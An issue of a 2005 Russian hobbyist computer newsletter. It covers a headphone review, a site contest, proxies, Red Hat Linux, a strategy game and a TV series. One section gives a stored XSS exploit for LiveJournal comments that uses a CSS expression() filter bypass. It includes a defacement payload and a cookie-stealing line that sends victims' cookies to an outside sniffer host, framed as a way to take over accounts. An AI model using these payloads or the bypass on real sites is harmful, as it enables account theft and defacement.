Выпуск: 2 | Дата выпуска: 09.09.05 | http://www.migshamster.narod.ru | migne@mail.ru | Ведущий рассылки: MiG

Привет всем читающим! Наконец-то настал долгожданный день. День выхода очередного выпуска рассылки:) В этом небольшом по объёму номере вы найдёте большое количество интересной информации. Наслаждайтесь чтением.

Планета Шелезяка На прошлой неделе решил купить себе наушники (как много в этом слове...) взамен очередных старых, с оторванным шнуром. Основными критериями выбора служили внешний вид и эргономика ушей. Дорогие, качественные наушники покупать не решался из-за того, что данный аксессуар у меня долго не задерживается, т.к. постоянно рвётся шнур при экстазе от прослушивания:) Радио-наушники меня также не прельстили, потому как искажают звук из-за помех от электронных приборов, которыми окружён мой компьютер. В общем, после недолгих раздумий, я выбрал Sony MDR-CD280 —  комфортные наушники с 30 миллиметровыми мембранами. Особая конструкция, адаптирующая чашки наушников под угол наклона головы, и самонастраивающаяся лента дужки обеспечивают высокий уровень комфорта, а мягкая ткань на чашках наушников делает многочасовое прослушивание ничуть не утомительным. Крепкий шнур, длиной 3 метра, в комплекте с позолоченным гальваническим штепселем меня вполне удовлетворили. Заявленная частотная характеристика: 16-22000 Гц. Средняя стоимость в Москве: 800 рублей.
Территория взлома Активный XSS в LiveJournal.com Уязвимость успешно протестирована в Internet Explorer версий 5 и 6. Приведённый ниже сплоит НЕ работает в Opera версии 8.0. Уязвимость обнаружена в комментариях к посту, а так же может быть использована при добавлении нового поста. Выполнение Javascript кода возможно из-за недостаточного контроля над стилями тегов. В частности, мы будем использовать стили тега <img>. Рассмотрим следующий пример: <img style=""top:expression(eval(this.sas));"sas="alert();this.sas=null">" В приведенном примере содержимое параметра тега sas интерпретируется в IE как Javascript. Если мы попробуем ввести такую конструкцию в текст комментария (поста) в LJ, тогда получим на выходе следующее: <img style="""" sas="alert();this.sas=null"> Видим, что скрипт парсинга заметил что-то нехорошее в стилях тега. Исследование показало, что скрипт удаляет весь параметр style в случае обнаружения в нём некоторых потенциально опасных слов, в частности, "expression". Если мы заменим эту конструкцию таким образом: <img style=""top:expres/**/sion(eval(this.sas));"sas="alert();this.sas=null">" то скрипт это проглотит, и на выходе мы получим тоже, что и ввели. Однако /**/ IE проигнорирует как комментарий в скрипте. Теперь немного о том, что можно наворотить с этой уязвимостью. Прежде всего, она позволяет украсть куки пользователя и после их подделать, т.е. получить доступ к аккаунту. Получив такие права, вы сможете редактировать внешний вид блога пользователя, удалять чужие комментарии и запрещать комментарии других пользователей во взломанном блоге, редактировать личную информацию, добавлять свои посты во взломанном блоге. Похищение кук может быть сорвано одной из следующих причин: браузер не воспринимает сплоит, пользователь не указал при входе «запомнить меня», каким-то образом внимательный пользователь заподозрил что-то, и через HTML-код обнаружил инъекцию. Если что-то из перечисленного имеет место быть, можно сделать кое-что другое. Например, браузеро-зависимый дефейс ленты комментариев у атакуемого ЖЖиста: <img style=""top:expres/**/sion(eval(this.sas));"" sas="document.write('hacked');this.sas=null" alt=''> Сплоит: <img src="http://antichat.ru/cgi-bin/s.jpg" style=""top:expres/**/sion(eval(this.sas));"sas="" this.src='http://antichat.ru/cgi-bin/s.jpg?'+document.cookie;this.sas=null"alt=''> Этот эксплоит отсылает куки пользователя на сниффер по адресу http://antichat.ru/cgi-bin/s.jpg. Автор статьи: Zadoxlik. Нашёл уязвимость: Zadoxlik Видео по статье: http://video.antichat.net/videos/Zadoxlik/lj.rar Для интересующихся темой: Справочник по XSS
Интернет Конкурс сайтов Каждый обитатель сети Интернет может выдвинуть на конкурс сайт некоммерческого характера. Для подачи заявки необходимо и достаточно отправить письмо по адресу migne@mail.ru, указав адрес сайта. Призов не будет, не ждите. Это безвозмездный конкурс;) 1. http://edelkarate.narod.ru Сайт спортивного клуба "Эдельвейс", что в городе Алексеевка, Белгородской области. В клубе занимаются каратэ-до, стиль шотокан. На сайте вы можете узнать об истории стиля, о тренере клуба, о спортсменах-призёрах, воспитанниках клуба, посмотреть ацтойного качества фотографии a'la home porno, почитать три статьи: "учимся драться", "хулиганский стиль боя", "психологическая подготовка бойца", скачать карту для контры, насладиться ссылками на другие сайты, поставить баннер на свой сайт и помочь каратисту заработать 15 копеек, перейдя по реферальной ссылке. 2. http://pavt.forever.kz Письмо: "Здравствуйте хотелось бы узнать мнение проффесионала о моем сайте написаном в блокноте". Я, конечно, не "проффесионал", но мнение моё вы узнаете. Х_ня обыкновенная — ваш сайт. Это моё мнение. Убедитесь сами: Название сайта: "FOR ЧАЙНИКА" Главная страница: "Здравствуйте дорогой посетитель моей странички. Здесь Вы найдете исходные тексты небольших программок, которые я создавал для сдачи экзаменов в институте. Может это очень простые программки но их было достаточно, чтоб сдать очередной меж сессионный экзамен. Здесь есть исходные тексты программ, и готовые программы для тех, кто может быть будет пользоваться такими простыми программами. В разделе Проект рассматривается программа, которую я разрабатываю в данный момент.Также здесь будут описаны изменения к моим прошлым программам, если вы будите посматривать эту страничку то может увидите что-то интересное. В Гостевой книге Вы можете написать свое мнение о моем сайте, а также свои вопросы и пожелания в моих проектах. Походив по другим страничкам этого сайта Вы возможно найдете для себя что-то интересное. Буду рад, если Вам помогут мои проекты в сдаче экзаменов." Гостевой книги я не нашёл. В поисках чего-нибудь интересного перешёл в разделе "Проект". Раздел "Проект": "На этой страничке Вы всегда узнаете о том, чем занимаюсь я в данный момент. Cейчас я разрабатываю этот сайт и занимаюсь его раскруткой." Интересного мало. Продолжим. Раздел "Обо мне": "Здравствуйте дорогой посетитель этой странички. Меня зовут Ганженко Алексей. Мне 26 лет. Учусь я в институте на программиста. По специальности Програмное и Аппаратное обеспечение компьютерной Техники и Вычислительных сетей. Живу в Казахстане г. Актау. Этот город расположен на берегу красивого Каспийского моря. Я много чем увлекаюсь, думаю как и любого нормального парня меня интересует техника, компьютеры и девочки. (Сейчас без компьютера ну ни как). Дома иногда пишу не большие программки. И вот теперь захотел поделиться своими мыслями со всем светом и с Вами дорогой гость. Смотрите, качайте, но не распространяйте. Лучше другие тоже пусть здесь качают." Без девочек сейчас тоже довольно сложно. А для любого нормального парня... ну ни как. Раздел "Радио": "На этих страничках Вы найдете небольшие схемы для компьютеров. Если схемы были скачаны с других сайтов, то будет это написано. А так здесь я буду выставлять схемы плюс программное обеспечение для этих схем. Которые разрабатываю сам. Если у Вас есть паяльник то думаю не составит труда спаять что-нибудь в выходной день и порадовать не только себя но и близких вам людей. Все права защищены (С)" Где же схемы, Лёлек? Все права защищены (С) Нету схем. Придётся довольствоваться паяльником. Статья: Мой маленький дружок "прокси". Для защиты компьютера и сохранения в сети анонимности человек разумный с незапамятных времён пользуется антивирусом, файрволом и головой. Но существуют также индивиды, знакомые с прокси-серверами. Не лично конечно, через посредников. Ведь анонимность она на то и анонимность, чтобы быть анонимной. После прочтения этой статьи вы вступите в ряды этих самых индивидов, индивидуалов и индивидуалок. Я же буду выступать в роли посредника:) Приступим к ознакомлению с предметом. Прокси-сервер — это сервер-посредник между пользователем и удалённым сервером. Выделяют три основных вида прокси: HTTP-, SOCKS- и CGI-прокси. Самые распространённые — HTTP-прокси, позволяющие работать по HTTP и (иногда) FTP протоколам. Существуют прозрачные, анонимные и искажающие HTTP-прокси. Прозрачные прокси не скрывают своего присутствия и сдаются при первом шухере, выдавая IP-адрес своего клиента. Анонимные прокси заменяют ваш IP-адрес своим. Искажающие передают удалённому web-серверу фиктивный IP-адрес. Оптимальный вариант HTTP-прокси — сервер, скрывающий сам факт своего существования и искажающий ваш IP-адрес. Второй, оптимальный тип прокси-серверов — SOCKS-прокси. Позволяют работать по любому TCP/IP протоколу прикладного уровня (HTTP, passive FTP, POP3, SMTP и т.д.) и скрывают IP-адрес источника информации. Существуют две версии SOCKS: 4 и 5. Последняя умеет использовать не только TCP, но и UDP соединения. Третий тип — CGI-прокси (анонимайзеры). Это скрипты, которые сами выкачивают удалённую web-страницу и выдают её вашему браузеру. Классификация по степени анонимности точно такая же, как и у HTTP-прокси. Списки прокси-серверов можно без труда найти в интернете. Только не все из них будут рабочими. Для проверки на работоспособность, анонимность и географическую принадлежность служат программы для тестирования прокси листов. Наиболее распространённая — Proxy Checker. В интернете также немало сервисов для бесплатной он-лайн проверки прокси-серверов (http://checker.freeproxy.ru/checker). Многие программы имеют настройки для работы с прокси. Например, для настройки IE необходимо зайти в меню "Сервис", пункт "Свойства обозревателя", перейти на вкладку "Подключения", далее кнопка "Настройка" или "Настройка LAN". В окне настройки подключения поставьте галочку рядом с опцией "Использовать прокси-сервер" и укажите адрес и порт прокси. Для указания адреса SOCKS-прокси, нажмите кнопку "Дополнительно" и введите адрес в соответствующем поле. Для обеспечения большей анонимности можно создать цепочку из нескольких прокси-серверов, указав в качестве адреса: proxy1:port1/proxy2:port2/url или воспользовавшись программой SocksChain (http://www.ufasoft.com/ru), позволяющей работать через цепочку SOCKS или HTTP-прокси. В программе присутствует замечательная возможность автоматического добавления списка прокси-серверов. Кроме того, SocksChain отличается встроенным соксификатором — инструментом, перехватывающем все сетевые системные вызовы выбранных приложений и отсылающем трафик на указанный прокси-сервер. Соксификации не поддаются приложения, использующие ICMP-протокол. К их числу можно отнести tracert, ping. Активный FTP-протокол также нельзя пропустить через сокс. Несмотря на эти ограничения, вы с лёгкостью можете соксифицировать ваши любимые браузер, почтовик, IM, и направить весь трафик для этих приложений через прокси, повысив таким образом анонимность и безопасность работы в сети. Поиск в Интернете Не удаётся найти в Интернете необходимую информацию? Отправьте запрос на поиск по адресу: migne@mail.ru и, возможно, кто-то из читателей поможет вам  в этом нелёгком деле. Вопрос 1 Подскажите, пожалуйста, адреса сайтов с действительно качественными, интересными обоями на рабочий стол (размер не менее 1280*1024 px). Ответить Электронный журнал «Мир Компьютера» В журнале публикуются обзоры и тесты аппаратных средств, лучших в своём роде программ, игр; ссылки на интересные сайты, немного стаффа —  юмор, обои, рецензии на фильмы и многое другое. Скачать журнал в формате chm вы можете с сайта http://www.migshamster.narod.ru/mk.htm
Справочная В этом разделе вы можете задавать вопросы. Старайтесь придерживаться тематики рассылки. Задать вопрос Вопрос 1 Вопрос по Red Hat Linux 9. У меня модем Zyxel Plus56K PCI. Имеется драйвер pctel-0.9.6, который должен подходить к этому модему. Но при установке возникают проблемы. Когда я набираю команду insmod pctel, bash выдаёт следующее: Using /lib/modules/2.4.20-8/misc/pctel.o/lib/modules/2.4.20-8/misc/pctel.o: The module you are trying to load (/lib/modules/2.4.20-8/misc/pctel.o) is compiled with a gcc version 2 compiler, while the kernel you are running is compiled with a gcc version 3 compiler. This is known to not work. Сорцы ядра я устанавливал как и все приложения при помощи Add/Remove applications. Ну а модуль, ессесно, появился при инсталляции дровишек. Набрав gcc -dumpversion узнал, что версия компилятора - 3.2.2. Когда форсирую gcc, выдаёт кучу ошибок, всё равно не подключается. Как мне всё же установить драйвер, подскажите, плз? Ответить
Игрушки Александр Системные требования: 1 (2) GHz, 256 (512) Mb, 64 (128) Mb Video, 2Gb HDD Игра «Александр» – историческая стратегия реального времени, разработанная GSC Game World – компанией, прославившей себя проектом «Казаки». Игра создана по одноименному фильму Alexander режиссера Оливера Стоуна. Погрузитесь в эпоху, когда могучие герои решали судьбы народов, во времена эпических битв и амбициозных владык, стремительных взлетов и ужасающих поражений. В 15 сюжетных миссиях геймер последует по стопам великого полководца и правителя. Ему доведется командовать армиями, возводить города, участвовать в морских баталиях, наводить порядок в принадлежащих ему землях и т. д. После прохождения основной кампании становятся доступны три дополнительные: за Персию, Египет и Индию. Под знамена игрока встанут до 64 тысяч воинов, а в смертельной битве сойдутся 8 тысяч. Для каждой нации предусмотрено три уникальных персонажа, которые не только ведут за собой войска, но и приносят армиям определенные бонусы. Особенности игры: Эксклюзивные видеофрагменты, не вошедшие в фильм, и музыка Vangelis. Новые возможности для истинных стратегов - построения и боевой дух отрядов, бонусы, набор опыта солдатами и героями, штурм и оборона крепостей. Усовершенствованный движок "Казаков 2" - 3D ландшафт, плавный zoom, перспектива, отдельные юниты и здания выполнены в 3D, реальная баллистика метательных снарядов, современные спецэффекты с использованием пиксельных и вертексных шейдеров. 4 эпические кампании, в которых на протяжении 30 миссий за мировое господство сразятся: Александр, молодой и амбициозный владыка Македонии, к 25 годам завоевывавший всю Ойкумену, названный потомками Великим. Пор, могучий индийский вождь. Одно только упоминание о его боевых слонах повергало врагов в ужас. Дарий, единовластный правитель одной из величайших империй древнего мира, предводитель многотысячной армии, покоритель народов. Нектанебо, потомок древних фараонов, царь Египта, известный своим умом и хитростью. 4 игровые нации - Греция, Египет, Персия и Индия - с уникальными бонусами, архитектурой, древом развития и войсками. По 3 героя с уникальными способностями на каждую из наций. Масштабные сражения с участием до 64 000 воинов. Экономика: 5 добываемых ресурсов. 5 дополнительных одиночных миссий. Купить игру
Лучшие программы Red Hat Linux 9 В продолжение серии выпусков об операционных системах — немного о Red Hat Linux 9. Комбинирование огромного количества настроек и удобного интерфейса Bluecurve делают эту ОС идеальной для домашних компьютеров. Перед установкой поступает предложение протестировать установочные диски на читабельность. Если диски не содержат видимых царапин, можно пропустить эту длительную процедуру. Далее загружается графический интерфейс установщика. Здесь необходимо выбрать язык, раскладку клавиатуры, тип мышки и тип установки. Далее появляется окно настройки диска. Выбрав ручную разбивку диска на разделы программой Disk Druid, следует создать четыре раздела с файловой системой ext3: / — корневой раздел (около 20% от суммарного места, выделенного под Linux), /usr — программы (около 50%), /home — домашние директории, документы (около 30%) и swap  — раздел для виртуальной памяти (в два раза больше объёма оперативной памяти компьютера). Далее необходимо выбрать загрузчик. Можно оставить по умолчанию GRUB. Следующий этап — настройка LAN, затем появится окно конфигурации файрвола iptables. После определения часового пояса понадобится ввести пароль администратора (root'a). И, напоследок, инсталлятор предложит выбрать необходимые приложения. После выполнения этой замечательной процедуры, можно откинуться на спинку стула и наслаждаться процессом установки Linux. После перезагрузки появится стандартное приглашение Red Hat для ввода логина и пароля. Для смены раскладки клавиатуры используется комбинация клавиш Shift+Shift. Теперь можно приступить к работе. Удобный графический интерфейс Bluecurve дает быстрый доступ к часто используемым приложениям. Внешний вид и приемы работы в популярных графических средах GNOME и KDE совпадают, что значительно упрощает работу пользователей. В комплекте с системой поставляются удобные средства настройки и администрирования, документация подробно описывает процесс конфигурирования системы, а также ее безопасной настройки. Комплект OpenOffice позволяет решать стандартные задачи по обработке документов распространенных форматов и созданию новых документов, электронных таблиц и презентаций. Клиент электронной почты и персональная информационная система Evolution делает удобной и организованной планирование повседневной деятельности, а популярный браузер Mozilla позволяет не только просматривать страницы Интернет, но и редактировать ваши собственные страницы. Все это в сочетании с доступностью и качеством от ведущего разработчика операционных систем, делают систему Red Hat Linux 9 передовым и современным решением для всех типов задач, выполняемых на персональных компьютерах. Red Hat Linux 9, FreeBSD 5.3 и Knoppix 3.6 (Linux-система, работающая прямо с CD-ROM) вы можете приобрести в интернет-магазине MiGCD.
Стафф TV-сериал «Секс в большом городе» О сериале «Секс в большом городе» — тонкий, изящный, в меру откровенный, ироничный «Декамерон» третьего тысячелетия. Уже шесть сезонов он рассказывает зрителям истории из жизни четырех жительниц Нью-Йорка. Кэрри, Саманта, Шарлотта и Миранда — подруги, у которых нет запретных тем для разговора. Они влюбляются, разочаровываются, вновь очаровываются, сходятся, расстаются и вновь сходятся — и делятся друг с другом самыми сокровенными тайнами своей жизни. Главную роль в сериале, прославившемся своим откровенным и ироничным взглядом на взаимоотношения полов, исполняет Сара Джессика Паркер. Ее героиня Кэрри Брэдшоу — популярная писательница, поставившая перед собой цель изучить уникальный мир человеческих взаимоотношений и найти баланс между любовью и жизненными реалиями. В ролях: Сара Дж.Паркер "Я не осуждаю других. Я считаю, если тебе доставляет удовольствие то, что ты делаешь, то флаг тебе в руки". Сара Джессика Паркер родилась 25 марта 1965 года в Нелсонвилле, штат Огайо. Ее родители Стивен Паркер и Барбара Фрост вскоре развелись, и Сара вместе с двумя братьями и сестрой оказалась в семье отчима, где уже имелось четверо детей. Несмотря на то, что девочка росла в очень большой семье, ей уделялось достаточно внимания и заботы. Родители решили сделать из маленькой Сары профессиональную актрису (как, впрочем, и из других детей) и не ошиблись. В 1976 году маленькая исполнительница получила первую в своей жизни роль в бродвейской постановке "Невинные" (в которой также участвовал и ее старший брат Тимоти). Вскоре девочку пригласили в знаменитый мюзикл "Звуки музыки". Молодежные мюзиклы следовали один за другим, однако, Саре уже было мало одной лишь сцены. Наука никогда не была сильной стороной девочки, и после окончания школы она решила полностью посвятить себя актерской карьере, несмотря на то, что ее родители настаивали на продолжении образования. Увы, как и многим другим начинающим актрисам, ей приходилось довольствоваться телевизионными сериалами и крохотными ролями на большом экране. Звездный час мисс Паркер наступил, когда кабельный канал HBO запустил в производство сериал о независимых и сильных женщинах, живущих в самом сердце Нью-Йорка. "Секс в большом городе" не только принес актрисе множество номинаций на премии "Золотой Глобус" и "Эмми", но и сделал ее по-настоящему знаменитой. Ким Кэтролл "Я играла сексуально независимых женщин на протяжении всей жизни, и я чувствую себя комфортно к этой роли. Мне нравится, как я выгляжу. И нравится, как я себя чувствую. Я использую это как моё достоинство. Моя сексуальность исходит из моей позитивности и жизнерадости". Актриса Ким Кэтролл, неоднократно номинировавшаяся на премии "Золотой Глобус" и "Эмми", получила восторженные отзывы критиков за роль роковой женщины - Саманты Джоунс - в суперпопулярном сериале телекомпании НВО "Секс в большом городе". Кэттролл родилась в Ливерпуле (Англия), а затем вместе с родителями переехала в Канаду, в г. Ванкувер. В возрасте шестнадцати лет Кэттролл перебралась в Нью-Йорк и поступила в Американскую академию театрального искусства. Год спустя после окончания она подписала контракт с кинокомпанией "Юниверсал студиос", по которому Ким снялась во многих телесериалах, после чего ее стали приглашать на ведущие роли в кинематографе: в частности, Ким снялась во многих блокбастерах, включая такие фильмы, как "Звездный путь VI: неоткрытая страна", "Большой переполох в маленьком Китае", "Костер тщеславия". Кристин Дэвис Кристин Дэвис зарекомендовала себя как талантливая и многосторонняя актриса уже в своей первой роли отшельницы Брук Армстронг в фильме "Мелроуз Плейс". В настоящее время она снимается в сериале телекомпании НВО "Секс в большом городе" в роли Шарлотты, продавца произведений искусств, которая борется со своими собственными комплексами в окружении подруг. Кристин также сыграла ряд эпизодических ролей в некоторых телесериалах: "Скорая помощь", "Доктор Куин - женщина-врач". Дэвис родилась в городке Боулдер, штат Колорадо. Затем вместе с родителями она переехала в г.Колумбия, штат Калифорния, где ее отец, профессор психологии, преподавал в местном университете. Дэвис училась в Университе Рутгерса, а по его окончании переехала в Нью-Йорк, где начала сниматься в рекламных роликах, а также участвовала в классических и современных театральных постановках. Еще до съемок в фильме "Мелроуз Плейс" Дэвис вместе со своим другом открыла в Нью-Йорке школу йоги. Свое свободное время она по-прежнему посвящает занятиям йогой, а также бегу трусцой и вязанию. Кристин Дэвис живет в Лос-Анджелесе. Синтия Никсон "Сексуальность - это то, что я хочу, чтобы они увидели во мне после того, как были покорены моей личностью". Синтия родилась и выросла в нью-йоркском районе Манхэттен. С ранних лет ей удавалось удачно совмещать успешную карьеру на сцене, в кинематографе и на телевидении с обычной жизнью нью-йоркского подростка. В настоящее время она не менее удачно совмещает съемки в сериале "Секс в большом городе" и воспитание четырехлетней дочери. В свое время блистательная нью-йоркская актриса Синтия Никсон отличалась тем, что ей удалось одновременно сыграть роли в двух бродвейских спектаклях. В восемнадцать лет она одновременно играла в пьесе Дэвида Рабе "Переполох" и спектакле Тома Стоппарда "Реальная штучка". Кинодебют актрисы состоялся в 1980 году. С тех пор ей удалось поработать со многими известными кино- и театральными режиссерами, такими как Луис Малле, Милош Форман, Майк Николс и Роберт Олтман. Приобрести сериал
Юмор Единственным человеком, приславшим шутку, был Вдовин Константин Анатольевич: Надпись над писсуаром: "Не льсти себе, подойди поближе!" Прислать прикол Афоризмы Маркетинга не существует. (Артемий Лебедев) Всё, что вы можете представить — реально. (Пабло Пикассо) Счастье не зависит от того, кем вы являетесь или что у вас есть. Оно зависит только от того, что вы думаете. (Дейл Карнеги) Прислать афоризм Отгремел второй выпуск рассылки. Не забудьте поделиться впечатлениями, полученными от прочтения/просмотра. Все ваши пожелания будут учтены при подготовке следующего номера, который выйдет в конце этого месяца. Удачи!	Обоина